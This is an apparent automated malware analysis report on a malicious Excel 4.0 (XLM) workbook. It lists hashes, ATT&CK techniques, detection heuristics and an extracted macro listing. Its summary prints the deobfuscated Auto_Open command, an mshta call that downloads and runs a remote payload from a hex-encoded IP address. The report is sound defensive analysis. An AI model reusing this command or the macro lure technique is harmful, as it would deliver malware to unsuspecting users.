Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 71247624ddaec7df…

MALICIOUS

Office (OLE) / .XLS

64.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 5a3cde7f12b4cadf5538d964577f5650 SHA-1: b28351f7a3ed23ee16c6933c4a1f28f5ce8fce3f SHA-256: 71247624ddaec7df3322f474ea0da931d1e6e56e6481d72c73f9771c0cbee8c3
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 97-2003 Workbook (XLM) that contains an Auto_Open macro. The macro is obfuscated but reconstructs to the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which attempts to download and execute a payload from a URL. The document body also contains a lure to enable macros, further supporting a malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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